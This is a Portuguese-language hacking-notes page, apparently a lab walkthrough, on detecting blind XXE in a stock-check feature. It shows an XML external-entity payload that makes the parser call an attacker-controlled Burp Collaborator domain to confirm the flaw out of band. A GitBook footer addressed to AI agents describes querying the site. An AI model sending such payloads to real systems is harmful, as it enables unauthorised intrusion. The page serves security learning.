> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xxe/blind-xxe-with-out-of-band-interaction.md).

# XXE Cega com Interação Out-of-Band

### XXE cego com interação fora de banda

O recurso Verificar estoque aceita um XML, mas **não exibe** a resposta. Este é um XXE cego: você não vê diretamente o conteúdo retornado pelo parser. Para detectar e explorar a vulnerabilidade, interações fora de banda (OOB) são geradas — por exemplo, uma consulta DNS ou uma requisição HTTP para um domínio controlado (Burp Collaborator / OAST) — para verificar se o parser faz requisições externas.

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
    teste
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

{% endcode %}

Se este XML for enviado, nenhuma resposta é obtida da interface (comportamento cego).

<figure><img src="/files/f419f9c30074d370ee51736d0838ff9412076657" alt=""><figcaption></figcaption></figure>

#### Operando com Entidade Externa para o Burp Collaborator

Declare uma entidade externa apontando para um domínio controlado (aqui: `h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com`) para forçar o parser a realizar uma consulta HTTP/DNS — se a consulta chegar ao serviço OOB, a aplicação é vulnerável ao XXE cego.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "https://h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com">]>
<stockCheck>
  <productId>
    &myFile;
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

Após o envio, vemos o recebimento da requisição no serviço OOB (Burp Collaborator), o que confirma a presença de um XXE cego com interação fora de banda.

<figure><img src="/files/6d9f3b9974c644234eaab13bbf36f3d942f5c46a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xxe/blind-xxe-with-out-of-band-interaction.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
